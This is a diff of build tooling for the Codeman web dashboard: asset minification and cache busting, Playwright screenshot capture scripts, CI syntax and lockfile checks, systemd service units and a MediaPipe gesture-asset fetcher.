View File
@@ -8,13 +8,15 @@
* 2. Copy static assets (web/public, templates)
* 3. Build vendor xterm bundles
* 4. Minify frontend assets (app.js, styles.css, mobile.css)
* 5. Compress with gzip + brotli
* 5. Content-hash cache busting (rename assets, rewrite index.html)
* 6. Compress with gzip + brotli
*/
import { execSync } from 'child_process';
import { appendFileSync } from 'fs';
import { appendFileSync, readFileSync, writeFileSync, renameSync } from 'fs';
import { createHash } from 'crypto';
import { fileURLToPath } from 'url';
import { join } from 'path';
import { join, extname, basename, dirname } from 'path';
const ROOT = join(fileURLToPath(import.meta.url), '..', '..');
@@ -27,17 +29,25 @@ function run(label, cmd) {
run('tsc', 'tsc');
run('chmod dist/index.js', 'chmod +x dist/index.js');
// 2. Copy static assets
// 2. Copy static assets (clean first to remove stale hashed files from previous builds)
run('clean public', 'rm -rf dist/web/public');
run('prepare dirs', 'mkdir -p dist/web dist/templates dist/web/public/vendor');
// Fetch the opt-in gesture overlay's MediaPipe wasm + model into src/ (idempotent,
// non-fatal, kept out of git) so the copy below carries them into dist/.
run('gesture assets', 'node scripts/fetch-gesture-assets.mjs');
// Rebuild the gesture overlay bundle from its vendored source (packages/gesture-control)
// into src/web/public/gesture/gesture-codeman.js, so prod always reflects current source.
run('gesture bundle', 'node scripts/build-gesture-bundle.mjs');
run('copy web assets', 'cp -r src/web/public dist/web/');
run('copy template', 'cp src/templates/case-template.md dist/templates/');
// 3. Vendor xterm bundles
run('xterm css', 'cp node_modules/xterm/css/xterm.css dist/web/public/vendor/');
run('xterm js', 'npx esbuild node_modules/xterm/lib/xterm.js --minify --outfile=dist/web/public/vendor/xterm.min.js');
run('xterm-addon-fit', 'npx esbuild node_modules/xterm-addon-fit/lib/xterm-addon-fit.js --minify --outfile=dist/web/public/vendor/xterm-addon-fit.min.js');
run('xterm-addon-webgl', 'cp node_modules/xterm-addon-webgl/lib/xterm-addon-webgl.js dist/web/public/vendor/xterm-addon-webgl.min.js');
run('xterm-addon-unicode11', 'npx esbuild node_modules/xterm-addon-unicode11/lib/xterm-addon-unicode11.js --minify --outfile=dist/web/public/vendor/xterm-addon-unicode11.min.js');
// 3. Vendor xterm bundles (xterm.js 6.x — @xterm scoped packages)
run('xterm css', 'cp node_modules/@xterm/xterm/css/xterm.css dist/web/public/vendor/');
run('xterm js', 'npx esbuild node_modules/@xterm/xterm/lib/xterm.js --minify --outfile=dist/web/public/vendor/xterm.min.js');
run('xterm-addon-fit', 'npx esbuild node_modules/@xterm/addon-fit/lib/addon-fit.js --minify --outfile=dist/web/public/vendor/xterm-addon-fit.min.js');
run('xterm-addon-serialize', 'npx esbuild node_modules/@xterm/addon-serialize/lib/addon-serialize.js --minify --outfile=dist/web/public/vendor/xterm-addon-serialize.min.js');
run('xterm-addon-webgl', 'cp node_modules/@xterm/addon-webgl/lib/addon-webgl.js dist/web/public/vendor/xterm-addon-webgl.min.js');
run('xterm-addon-unicode11', 'npx esbuild node_modules/@xterm/addon-unicode11/lib/addon-unicode11.js --minify --outfile=dist/web/public/vendor/xterm-addon-unicode11.min.js');
run('xterm-zerolag-input', 'npx esbuild packages/xterm-zerolag-input/src/zerolag-input-addon.ts --bundle --minify --format=iife --global-name=XtermZerolagInput --outfile=dist/web/public/vendor/xterm-zerolag-input.js');
// Append global aliases so app.js can use `new LocalEchoOverlay(terminal)`
@@ -56,11 +66,70 @@ appendFileSync(
);
// 4. Minify frontend assets
run('minify app.js', 'npx esbuild dist/web/public/app.js --minify --drop:console --outfile=dist/web/public/app.js --allow-overwrite');
run('minify input-cjk.js', 'npx esbuild dist/web/public/input-cjk.js --minify --outfile=dist/web/public/input-cjk.js --allow-overwrite');
run('minify sanitize-html.js', 'npx esbuild dist/web/public/sanitize-html.js --minify --outfile=dist/web/public/sanitize-html.js --allow-overwrite');
run('minify app.js', 'npx esbuild dist/web/public/app.js --minify --outfile=dist/web/public/app.js --allow-overwrite');
run('minify terminal-ui.js', 'npx esbuild dist/web/public/terminal-ui.js --minify --outfile=dist/web/public/terminal-ui.js --allow-overwrite');
run('minify respawn-ui.js', 'npx esbuild dist/web/public/respawn-ui.js --minify --outfile=dist/web/public/respawn-ui.js --allow-overwrite');
run('minify ralph-panel.js', 'npx esbuild dist/web/public/ralph-panel.js --minify --outfile=dist/web/public/ralph-panel.js --allow-overwrite');
run('minify settings-ui.js', 'npx esbuild dist/web/public/settings-ui.js --minify --outfile=dist/web/public/settings-ui.js --allow-overwrite');
run('minify panels-ui.js', 'npx esbuild dist/web/public/panels-ui.js --minify --outfile=dist/web/public/panels-ui.js --allow-overwrite');
run('minify session-ui.js', 'npx esbuild dist/web/public/session-ui.js --minify --outfile=dist/web/public/session-ui.js --allow-overwrite');
run('minify styles.css', 'npx esbuild dist/web/public/styles.css --minify --outfile=dist/web/public/styles.css --allow-overwrite');
run('minify mobile.css', 'npx esbuild dist/web/public/mobile.css --minify --outfile=dist/web/public/mobile.css --allow-overwrite');
// 5. Compress with gzip + brotli
// 5. Content-hash cache busting
console.log('\n[build] content-hash cache busting');
{
const distPublic = join(ROOT, 'dist/web/public');
const HASHABLE = [
'styles.css',
'mobile.css',
'constants.js',
'mobile-handlers.js',
'voice-input.js',
'notification-manager.js',
'keyboard-accessory.js',
'input-cjk.js',
'sanitize-html.js',
'app.js',
'terminal-ui.js',
'respawn-ui.js',
'ralph-panel.js',
'settings-ui.js',
'panels-ui.js',
'session-ui.js',
'ralph-wizard.js',
'api-client.js',
'subagent-windows.js',
'image-input.js',
'vendor/xterm-zerolag-input.js',
];
const manifest = {};
for (const file of HASHABLE) {
const filePath = join(distPublic, file);
const content = readFileSync(filePath);
const hash = createHash('md5').update(content).digest('hex').slice(0, 8);
const ext = extname(file);
const base = basename(file, ext);
const dir = dirname(file);
const hashed = dir === '.' ? `${base}.${hash}${ext}` : `${dir}/${base}.${hash}${ext}`;
renameSync(filePath, join(distPublic, hashed));
manifest[file] = hashed;
}
// Rewrite index.html to reference hashed filenames
let html = readFileSync(join(distPublic, 'index.html'), 'utf8');
for (const [original, hashed] of Object.entries(manifest)) {
html = html.replaceAll(`"${original}"`, `"${hashed}"`);
}
writeFileSync(join(distPublic, 'index.html'), html);
console.log(' Hashed files:');
for (const [orig, hashed] of Object.entries(manifest)) {
console.log(` ${orig} -> ${hashed}`);
}
}
// 6. Compress with gzip + brotli
run(
'compress',
`for f in dist/web/public/*.js dist/web/public/*.css dist/web/public/*.html dist/web/public/vendor/*.js dist/web/public/vendor/*.css; do` +
+201
View File
@@ -0,0 +1,201 @@
#!/usr/bin/env node
/**
* capture-readme-real.mjs
*
* Captures README desktop scenes (multi-session dashboard, monitor, subagent
* windows) from a REAL Codeman instance — intended to run against an ISOLATED
* dev/beta instance (CODEMAN_INSTANCE=beta on :5000) seeded from prod's settings,
* NOT prod itself (never touch prod's live sessions).
*
* Reuses the high-quality capture recipe proven in capture-real-overview.mjs:
* - DSF=2 + ?nowebgl → crisp retina at the TRUE font size (WebGL doubles
* glyphs under DSF=2; the DOM renderer respects devicePixelRatio).
* - per-device localStorage seeding so the capture matches a real device.
*
* SCENE=dashboard|monitor|subagent|all BASE=http://localhost:5000 \
* OUT=screenshots-readme-real/desktop node scripts/capture-readme-real.mjs
*/
import { chromium } from 'playwright';
import { mkdirSync } from 'fs';
import { join } from 'path';
const BASE = process.env.BASE || 'http://localhost:5000';
const OUT = process.env.OUT || 'screenshots-readme-real/desktop';
const SKIN = process.env.SKIN || 'daylight-blue';
const SCENE = process.env.SCENE || 'all';
const FONT = Math.max(10, Math.min(24, Number(process.env.FONT || 13)));
const VIEWPORT = { width: Number(process.env.VW || 1280), height: Number(process.env.VH || 720) };
const DSF = Number(process.env.DSF || 2);
const PLAN_USAGE = process.env.PLAN_USAGE !== '0';
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const url = (extra = '') => {
const sep = BASE.includes('?') ? '&' : '?';
const params = [];
if (DSF > 1) params.push('nowebgl'); // DOM renderer → correct font size at DSF>1
if (extra) params.push(extra);
return params.length ? `${BASE}${sep}${params.join('&')}` : BASE;
};
async function newCtx(browser) {
const context = await browser.newContext({
viewport: VIEWPORT,
deviceScaleFactor: DSF,
ignoreHTTPSErrors: BASE.startsWith('https'),
});
const page = await context.newPage();
page.setDefaultTimeout(30000);
await page.addInitScript(
([skin, planUsage, font]) => {
try {
localStorage.setItem('codeman:skin', skin);
localStorage.setItem('codeman-font-size', String(font));
const blob = { skin, showFileBrowser: false, showProjectInsights: false };
if (planUsage) blob.showPlanUsageLimits = true;
localStorage.setItem('codeman-app-settings', JSON.stringify(blob));
} catch {
/* ignore */
}
},
[SKIN, PLAN_USAGE, FONT]
);
return { context, page };
}
async function bootstrap(page) {
await page.waitForFunction(() => window.app && window.app.terminal, { timeout: 20000 });
await sleep(1200);
}
async function listSessions(page) {
return page.evaluate(() =>
Array.from(window.app.sessions.values()).map((s) => ({ id: s.id, name: s.name, mode: s.mode }))
);
}
async function shoot(page, name) {
const out = join(OUT, name);
await page.evaluate((f) => {
try {
if (window.app.setFontSize) window.app.setFontSize(f);
} catch {}
try {
window.app.fitAddon && window.app.fitAddon.fit();
} catch {}
try {
window.app.applyHeaderVisibilitySettings && window.app.applyHeaderVisibilitySettings();
} catch {}
}, FONT);
await sleep(1500);
await page.screenshot({ path: out, fullPage: false });
console.log(' Saved: ' + out);
}
async function sceneDashboard(browser) {
console.log('Scene: dashboard');
const { context, page } = await newCtx(browser);
await page.goto(url(), { waitUntil: 'domcontentloaded' });
await bootstrap(page);
const sessions = await listSessions(page);
// Select a claude session so the active terminal shows rich content; all tabs render.
const target = sessions.find((s) => s.mode === 'claude') || sessions[0];
if (target) await page.evaluate((id) => window.app.selectSession(id), target.id);
await sleep(4000);
await shoot(page, 'multi-session-dashboard.png');
await context.close();
}
async function sceneMonitor(browser) {
console.log('Scene: monitor');
const { context, page } = await newCtx(browser);
await page.goto(url(), { waitUntil: 'domcontentloaded' });
await bootstrap(page);
const sessions = await listSessions(page);
const target = sessions.find((s) => s.mode === 'claude') || sessions[0];
if (target) await page.evaluate((id) => window.app.selectSession(id), target.id);
await sleep(2500);
// toggleMonitorPanel() opens the panel, clears the hidden state, loads REAL
// mux sessions (/api/mux), starts stats, and renders the task panel.
await page.evaluate(async () => {
try {
await window.app.toggleMonitorPanel();
} catch {}
});
await sleep(3000);
await shoot(page, 'multi-session-monitor.png');
await context.close();
}
async function sceneSubagent(browser) {
console.log('Scene: subagent');
const { context, page } = await newCtx(browser);
await page.goto(url(), { waitUntil: 'domcontentloaded' });
await bootstrap(page);
// Select the session whose subagents we want (subagentActiveTabOnly means
// app.subagents only fills for the active tab). Prefer SUBAGENT_SID env.
const sessions = await listSessions(page);
const targetId = process.env.SUBAGENT_SID || (sessions.find((s) => s.mode === 'claude') || sessions[0])?.id;
if (targetId) await page.evaluate((id) => window.app.selectSession(id), targetId);
// Wait (up to ~25s) for live subagents to arrive via SSE into app.subagents.
let agents = [];
for (let i = 0; i < 25; i++) {
agents = await page.evaluate(() =>
Array.from(window.app.subagents?.entries?.() || []).map(([id, a]) => ({ id, name: a.name ?? a.agentType ?? '' }))
);
if (agents.length >= 1) break;
await sleep(1000);
}
console.log(' live in-browser subagents:', JSON.stringify(agents));
if (agents.length === 0) {
console.log(' NO live subagents — skipping (stage a longer subagent task and run this while it runs).');
await context.close();
return;
}
await page.evaluate(
(ids) => {
ids.slice(0, 2).forEach((id) => {
try {
window.app.openSubagentWindow(id);
} catch {}
});
},
agents.map((a) => a.id)
);
await sleep(2000);
await page.evaluate(() => {
const wins = Array.from(window.app.subagentWindows.values());
const place = [
{ left: 360, top: 60, w: 430, h: 330 },
{ left: 810, top: 60, w: 430, h: 330 },
];
wins.slice(0, 2).forEach((win, i) => {
const el = win.element;
const p = place[i];
el.style.left = p.left + 'px';
el.style.top = p.top + 'px';
el.style.width = p.w + 'px';
el.style.height = p.h + 'px';
});
});
await sleep(1500);
await shoot(page, 'subagent-spawn.png');
await context.close();
}
async function main() {
mkdirSync(OUT, { recursive: true });
const browser = await chromium.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu'],
});
console.log(`BASE=${BASE} SKIN=${SKIN} DSF=${DSF} VIEWPORT=${VIEWPORT.width}x${VIEWPORT.height} SCENE=${SCENE}`);
if (SCENE === 'dashboard' || SCENE === 'all') await sceneDashboard(browser);
if (SCENE === 'monitor' || SCENE === 'all') await sceneMonitor(browser);
if (SCENE === 'subagent' || SCENE === 'all') await sceneSubagent(browser);
await browser.close();
}
main().catch((e) => {
console.error('FATAL', e.message);
process.exit(1);
});
+1 -1
View File
@@ -428,7 +428,7 @@ const SUBAGENT_ACTIVITY = {
'agent-002': [
{ type: 'tool', tool: 'Glob', input: { pattern: 'test/**/*.test.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
{ type: 'tool', tool: 'Read', input: { file_path: '/home/arkon/codeman/test/respawn-test-utils.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
{ type: 'tool', tool: 'Read', input: { file_path: '/home/arkon/codeman/vitest.config.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
{ type: 'tool', tool: 'Read', input: { file_path: '/home/arkon/codeman/config/vitest.config.ts' }, timestamp: new Date().toISOString(), agentId: 'agent-002' },
{ type: 'message', role: 'assistant', text: 'Analyzing test patterns: MockSession, unique ports, fileParallelism: false...', timestamp: new Date().toISOString(), agentId: 'agent-002' },
],
};
+152
View File
@@ -0,0 +1,152 @@
#!/usr/bin/env node
/**
* capture-real-overview.mjs
*
* Captures a REAL claude-overview screenshot from a LIVE Codeman server
* (no mock injection). Drive a real session to do real work, then run:
*
* SID=<sessionId> BASE=http://localhost:5000 OUT=screenshots-real \
* node scripts/capture-real-overview.mjs
*
* Skin defaults to daylight-blue (prod default) via the localStorage pre-paint
* contract in index.html. Output: <OUT>/claude-overview.png at 1280x720 (DSF 2).
*/
import { chromium } from 'playwright';
import { mkdirSync } from 'fs';
import { join } from 'path';
const SID = process.env.SID;
const BASE = process.env.BASE || 'http://localhost:5000';
const OUT = process.env.OUT || 'screenshots-real';
const SKIN = process.env.SKIN || 'daylight-blue';
// Unique filename per run (timestamped) so a viewer holding an old render of a
// fixed path can never shadow a fresh capture. Override with NAME=… if needed.
const STAMP = new Date().toISOString().replace(/[:.]/g, '-').replace('T', '_').slice(0, 19);
const NAME = process.env.NAME || `claude-overview-${STAMP}.png`;
const VIEWPORT = { width: Number(process.env.VW || 1512), height: Number(process.env.VH || 812) };
// IMPORTANT: default deviceScaleFactor is 1, NOT 2. xterm's WebGL renderer in
// headless Chromium draws terminal glyphs at ~2× their nominal size when DSF=2
// (while still reporting nominal 8px cell dims internally, so it can't be caught
// by measuring terminal.cols/cell — only the pixels reveal it). The HTML chrome
// is unaffected, so DSF=2 makes ONLY the console font look comically large. DSF=1
// renders the console at its true size, matching a real (non-headless) browser.
const DSF = Number(process.env.DSF || 1);
if (!SID) {
console.error('SID env var required (the live session id to screenshot)');
process.exit(1);
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const main = async () => {
mkdirSync(OUT, { recursive: true });
const browser = await chromium.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu'],
});
const context = await browser.newContext({
viewport: VIEWPORT,
deviceScaleFactor: DSF,
ignoreHTTPSErrors: BASE.startsWith('https'),
});
const page = await context.newPage();
page.setDefaultTimeout(30000);
// Force the skin before any page script runs (pre-paint <head> contract), and
// seed the PER-DEVICE display blob so the capture reflects what prod actually
// shows on the user's real device — notably the plan-usage chip, which is a
// per-device setting (default OFF) deleted from the server payload, so a fresh
// browser would otherwise hide it. PLAN_USAGE=0 disables.
const PLAN_USAGE = process.env.PLAN_USAGE !== '0';
// Terminal console font size. App default is 14px; a fresh headless browser has
// no saved codeman-font-size, so it renders at 14 — much larger than a real
// device where the console has been zoomed down. Seed a smaller value (clamped
// to the app's [10,24] range) so the console font looks normal in the capture.
const FONT = Math.max(10, Math.min(24, Number(process.env.FONT || 14)));
await page.addInitScript(
([skin, planUsage, font]) => {
try {
localStorage.setItem('codeman:skin', skin);
localStorage.setItem('codeman-font-size', String(font));
// Desktop app-settings blob (settings-ui.js getSettingsStorageKey()).
// Present these display keys explicitly so the server merge won't seed
// side panels open (display keys only seed from server when absent from
// localStorage). Matches the clean full-width-terminal reference look.
const blob = {
skin,
showFileBrowser: false,
showMonitor: false,
showSubagents: false,
showProjectInsights: false,
};
if (planUsage) blob.showPlanUsageLimits = true;
localStorage.setItem('codeman-app-settings', JSON.stringify(blob));
} catch {
/* ignore */
}
},
[SKIN, PLAN_USAGE, FONT]
);
// At DSF>1, xterm's WebGL renderer draws glyphs at ~2x (see DSF comment above).
// The app honors a `?nowebgl` URL param that switches to xterm's DOM renderer,
// which respects devicePixelRatio correctly — so DSF=2 + nowebgl yields a crisp
// 2x (retina) capture at the TRUE font size. Auto-enable it whenever DSF>1.
const url = DSF > 1 ? `${BASE}${BASE.includes('?') ? '&' : '?'}nowebgl` : BASE;
console.log(`Loading ${url} (DSF=${DSF}) ...`);
await page.goto(url, { waitUntil: 'domcontentloaded' });
await page.waitForFunction(() => window.app && window.app.terminal, { timeout: 20000 });
await sleep(1500);
console.log(`Selecting session ${SID} ...`);
await page.evaluate((sid) => window.app.selectSession(sid), SID);
// Let the terminal buffer stream in + xterm render + any Ink redraw settle.
await sleep(2000);
// Force a clean fit (avoids capturing a transient pre-fit frame where the
// terminal renders at the wrong column count) and re-apply per-device header
// visibility so the seeded plan-usage chip is shown.
await page.evaluate((font) => {
// Force the console font explicitly (setFontSize also re-fits) in case
// loadFontSize didn't pick up the seeded value before the session rendered.
try {
if (window.app.setFontSize) window.app.setFontSize(font);
else window.app.terminal.options.fontSize = font;
} catch {}
try {
window.app.fitAddon && window.app.fitAddon.fit();
} catch {}
try {
window.dispatchEvent(new Event('resize'));
} catch {}
try {
window.app.applyHeaderVisibilitySettings && window.app.applyHeaderVisibilitySettings();
} catch {}
}, FONT);
await sleep(3000);
// Optionally scroll the terminal up to frame the rich tool-call region
// (Read/Write/Bash + green test results) instead of the trailing summary.
const SCROLL = Number(process.env.SCROLL || 0);
if (SCROLL) {
await page.evaluate((n) => {
const t = window.app && window.app.terminal;
if (t && t.scrollLines) t.scrollLines(-n);
}, SCROLL);
await sleep(800);
}
const outPath = join(OUT, NAME);
await page.screenshot({ path: outPath, fullPage: false });
console.log(`Saved: ${outPath}`);
await context.close();
await browser.close();
};
main().catch((e) => {
console.error('FATAL', e.message);
process.exit(1);
});
+14 -14
View File
@@ -9,7 +9,7 @@
*
* Usage: node scripts/capture-video-screenshots.mjs
* Port: 3198 (static file server)
* Output: remotion/public/ (6 PNGs)
* Output: scripts/scripts/remotion/public/ (6 PNGs)
*/
import { chromium } from 'playwright';
@@ -21,7 +21,7 @@ import { fileURLToPath } from 'url';
const __dirname = fileURLToPath(new URL('.', import.meta.url));
const PROJECT_ROOT = join(__dirname, '..');
const PUBLIC_DIR = join(PROJECT_ROOT, 'src', 'web', 'public');
const OUTPUT_DIR = join(PROJECT_ROOT, 'remotion', 'public');
const OUTPUT_DIR = join(PROJECT_ROOT, 'scripts', 'remotion', 'public');
const PORT = 3198;
const DESKTOP_VIEWPORT = { width: 1920, height: 1080 };
@@ -516,7 +516,7 @@ async function captureDesktopWelcome(browser) {
path: join(OUTPUT_DIR, 'desktop-welcome.png'),
fullPage: false,
});
console.log(' Saved: remotion/public/desktop-welcome.png');
console.log(' Saved: scripts/remotion/public/desktop-welcome.png');
} finally {
await context.close();
}
@@ -545,7 +545,7 @@ async function captureDesktopClaude(browser) {
path: join(OUTPUT_DIR, 'desktop-claude.png'),
fullPage: false,
});
console.log(' Saved: remotion/public/desktop-claude.png');
console.log(' Saved: scripts/remotion/public/desktop-claude.png');
} finally {
await context.close();
}
@@ -575,7 +575,7 @@ async function captureDesktopBothClaude(browser) {
path: join(OUTPUT_DIR, 'desktop-both-claude.png'),
fullPage: false,
});
console.log(' Saved: remotion/public/desktop-both-claude.png');
console.log(' Saved: scripts/remotion/public/desktop-both-claude.png');
} finally {
await context.close();
}
@@ -605,7 +605,7 @@ async function captureDesktopBothOpencode(browser) {
path: join(OUTPUT_DIR, 'desktop-both-opencode.png'),
fullPage: false,
});
console.log(' Saved: remotion/public/desktop-both-opencode.png');
console.log(' Saved: scripts/remotion/public/desktop-both-opencode.png');
} finally {
await context.close();
}
@@ -634,7 +634,7 @@ async function captureMobileClaude(browser) {
path: join(OUTPUT_DIR, 'mobile-claude.png'),
fullPage: false,
});
console.log(' Saved: remotion/public/mobile-claude.png');
console.log(' Saved: scripts/remotion/public/mobile-claude.png');
} finally {
await context.close();
}
@@ -663,7 +663,7 @@ async function captureMobileOpencode(browser) {
path: join(OUTPUT_DIR, 'mobile-opencode.png'),
fullPage: false,
});
console.log(' Saved: remotion/public/mobile-opencode.png');
console.log(' Saved: scripts/remotion/public/mobile-opencode.png');
} finally {
await context.close();
}
@@ -706,12 +706,12 @@ async function main() {
console.log('All 6 screenshots captured!');
console.log('='.repeat(60));
console.log('\nOutput files:');
console.log(' remotion/public/desktop-welcome.png');
console.log(' remotion/public/desktop-claude.png');
console.log(' remotion/public/desktop-both-claude.png');
console.log(' remotion/public/desktop-both-opencode.png');
console.log(' remotion/public/mobile-claude.png');
console.log(' remotion/public/mobile-opencode.png');
console.log(' scripts/remotion/public/desktop-welcome.png');
console.log(' scripts/remotion/public/desktop-claude.png');
console.log(' scripts/remotion/public/desktop-both-claude.png');
console.log(' scripts/remotion/public/desktop-both-opencode.png');
console.log(' scripts/remotion/public/mobile-claude.png');
console.log(' scripts/remotion/public/mobile-opencode.png');
} catch (err) {
console.error('\nFatal error:', err.message);
console.error(err.stack);
+40
View File
@@ -0,0 +1,40 @@
#!/usr/bin/env node
/**
* Frontend JS syntax check.
*
* CI's `npm run lint` only lints TypeScript under src/, and `tsc` excludes the
* frontend — so a plain SyntaxError in a shipped `src/web/public` script (loaded
* as a bare <script>, no bundler) passes CI green yet breaks the whole module at
* load.
* (This is exactly how PR #112's duplicate-`const` error in session-ui.js slipped
* through.) This runs `node --check` (parse-only; browser globals don't matter)
* on every shipped frontend script so that class of bug fails fast.
*/
import { readdirSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
import { execFileSync } from 'node:child_process';
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..');
const PUBLIC_DIR = join(ROOT, 'src', 'web', 'public');
const files = readdirSync(PUBLIC_DIR)
.filter((f) => f.endsWith('.js'))
.map((f) => join(PUBLIC_DIR, f));
let failed = 0;
for (const file of files) {
try {
execFileSync(process.execPath, ['--check', file], { stdio: 'pipe' });
} catch (err) {
failed++;
const msg = err.stderr ? err.stderr.toString() : String(err);
console.error(`✗ syntax error in ${file.replace(ROOT + '/', '')}:\n${msg}`);
}
}
if (failed > 0) {
console.error(`\n${failed} frontend file(s) failed the syntax check.`);
process.exit(1);
}
console.log(`✓ ${files.length} frontend JS files parse cleanly`);
+29
View File
@@ -0,0 +1,29 @@
#!/usr/bin/env node
// Fails if package-lock.json's version fields don't match package.json.
// Changesets bumps package.json but NOT the lockfile — this catches that drift
// (the top-level `version` in lockfiles is metadata, so `npm ci` won't flag it).
import { readFileSync } from 'node:fs';
import { resolve, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
const repoRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
const pkg = JSON.parse(readFileSync(resolve(repoRoot, 'package.json'), 'utf8'));
const lock = JSON.parse(readFileSync(resolve(repoRoot, 'package-lock.json'), 'utf8'));
const expected = pkg.version;
const rootVersion = lock.version;
const selfVersion = lock.packages?.['']?.version;
const mismatches = [];
if (rootVersion !== expected) mismatches.push(` package-lock.json#.version = ${rootVersion} (expected ${expected})`);
if (selfVersion !== expected) mismatches.push(` package-lock.json#.packages[""].version = ${selfVersion} (expected ${expected})`);
if (mismatches.length > 0) {
console.error(`\nLockfile version drift detected (package.json is ${expected}):`);
console.error(mismatches.join('\n'));
console.error('\nFix: run `npm install --package-lock-only` and commit the updated package-lock.json.\n');
process.exit(1);
}
console.log(`Lockfile in sync with package.json (${expected}).`);
+66
View File
@@ -0,0 +1,66 @@
#!/usr/bin/env node
import { execFileSync } from 'node:child_process';
import { readdirSync, readFileSync } from 'node:fs';
import { dirname, extname, join, relative, resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
const repoRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
const publicRoot = resolve(repoRoot, 'src/web/public');
const prettierBin = resolve(repoRoot, 'node_modules/.bin/prettier');
const checkedExtensions = new Set(['.js', '.css', '.html', '.json']);
function collectTextAssets(dir) {
const files = [];
for (const entry of readdirSync(dir, { withFileTypes: true })) {
const fullPath = join(dir, entry.name);
if (entry.isDirectory()) {
files.push(...collectTextAssets(fullPath));
continue;
}
if (checkedExtensions.has(extname(entry.name))) {
files.push(fullPath);
}
}
return files;
}
function findNullByte(buffer) {
for (let i = 0; i < buffer.length; i += 1) {
if (buffer[i] === 0) return i;
}
return -1;
}
const files = collectTextAssets(publicRoot);
const failures = [];
for (const file of files) {
const rel = relative(repoRoot, file);
const data = readFileSync(file);
const nullByteIndex = findNullByte(data);
if (nullByteIndex !== -1) {
failures.push(`${rel}: contains literal NUL byte at offset ${nullByteIndex}`);
}
if (extname(file) === '.js') {
try {
execFileSync(process.execPath, ['--check', file], { cwd: repoRoot, stdio: 'pipe' });
} catch (err) {
failures.push(`${rel}: JavaScript syntax check failed\n${String(err.stderr || err.message).trim()}`);
}
}
}
try {
execFileSync(prettierBin, ['--check', ...files], { cwd: repoRoot, stdio: 'pipe' });
} catch (err) {
failures.push(`Prettier public asset check failed\n${String(err.stdout || err.stderr || err.message).trim()}`);
}
if (failures.length > 0) {
console.error(failures.join('\n\n'));
process.exit(1);
}
console.log(`Public asset checks passed (${files.length} files).`);
+19
View File
@@ -0,0 +1,19 @@
[Unit]
Description=Codeman Cloudflare Named Tunnel
After=network-online.target codeman-web.service
Wants=network-online.target
[Service]
Type=simple
ExecStart=/usr/bin/cloudflared tunnel --config %h/.cloudflared/codeman.yml run codeman
Restart=always
RestartSec=5
KillMode=process
# Logging
StandardOutput=journal
StandardError=journal
SyslogIdentifier=codeman-tunnel-named
[Install]
WantedBy=default.target
+9
View File
@@ -11,6 +11,15 @@ RestartSec=5
KillMode=process
Environment=NODE_ENV=production
Environment=HOME=/home/arkon
Environment=NODE_COMPILE_CACHE=/home/arkon/.codeman/compile-cache
# Loopback bind (default, no --host) + no password: safe out of the box. Hooks
# reach 127.0.0.1, and `tailscale serve` fronts it on the tailnet only (real
# cert, no LAN exposure, no app login). To expose on the LAN instead, add
# Environment=CODEMAN_HOST=0.0.0.0 + Environment=CODEMAN_PASSWORD=... .
# See docs/security-architecture.md.
Environment=CODEMAN_GESTURE=1
# ^ Makes the gesture-control overlay AVAILABLE (CSP widening + /gesture/ assets);
# the actual on/off stays the per-user App Settings toggle (default OFF).
# Logging
StandardOutput=journal
+58
View File
@@ -0,0 +1,58 @@
/**
* @fileoverview Fetch the gesture-overlay runtime assets (MediaPipe wasm + the
* gesture-recognizer model) into src/web/public/gesture/ so Codeman can serve
* them same-origin (a browser content-blocker otherwise blocks the public CDNs
* and the overlay fails to start). These are large binaries (~27 MB) kept OUT of
* git (ignored explicitly via `src/web/public/gesture/wasm/` + `*.task` in
* .gitignore); they are fetched here at install (postinstall) and build time.
*
* Idempotent: skips files already present. Non-fatal: the gesture overlay is
* opt-in (CODEMAN_GESTURE=1), so a fetch failure only warns — it must not break
* `npm install` / `npm run build`. The build then copies src/web/public into
* dist/ as usual, so prod gets these too.
*
* The @mediapipe/tasks-vision version MUST match the one bundled into the gesture
* overlay (Ark0N/codeman-gesture-control) so the wasm loader matches its JS API.
*/
import { mkdirSync, existsSync, statSync, writeFileSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
const __dirname = dirname(fileURLToPath(import.meta.url));
const GESTURE = join(__dirname, '..', 'src', 'web', 'public', 'gesture');
const WASM = join(GESTURE, 'wasm');
const MP_VERSION = '0.10.21'; // keep in sync with the gesture overlay's @mediapipe/tasks-vision
const WASM_BASE = `https://cdn.jsdelivr.net/npm/@mediapipe/tasks-vision@${MP_VERSION}/wasm`;
const MODEL_URL =
'https://storage.googleapis.com/mediapipe-models/gesture_recognizer/gesture_recognizer/float16/1/gesture_recognizer.task';
const ASSETS = [
{ url: `${WASM_BASE}/vision_wasm_internal.js`, path: join(WASM, 'vision_wasm_internal.js') },
{ url: `${WASM_BASE}/vision_wasm_internal.wasm`, path: join(WASM, 'vision_wasm_internal.wasm') },
{ url: `${WASM_BASE}/vision_wasm_nosimd_internal.js`, path: join(WASM, 'vision_wasm_nosimd_internal.js') },
{ url: `${WASM_BASE}/vision_wasm_nosimd_internal.wasm`, path: join(WASM, 'vision_wasm_nosimd_internal.wasm') },
{ url: MODEL_URL, path: join(GESTURE, 'gesture_recognizer.task') },
];
async function main() {
mkdirSync(WASM, { recursive: true });
let fetched = 0;
let skipped = 0;
for (const a of ASSETS) {
if (existsSync(a.path) && statSync(a.path).size > 0) {
skipped++;
continue;
}
const res = await fetch(a.url);
if (!res.ok) throw new Error(`HTTP ${res.status} for ${a.url}`);
writeFileSync(a.path, Buffer.from(await res.arrayBuffer()));
fetched++;
}
console.log(`[gesture] MediaPipe assets ready (${fetched} fetched, ${skipped} cached) → ${GESTURE}`);
}
main().catch((err) => {
// Non-fatal: opt-in feature. Warn and exit 0 so install/build still succeed.
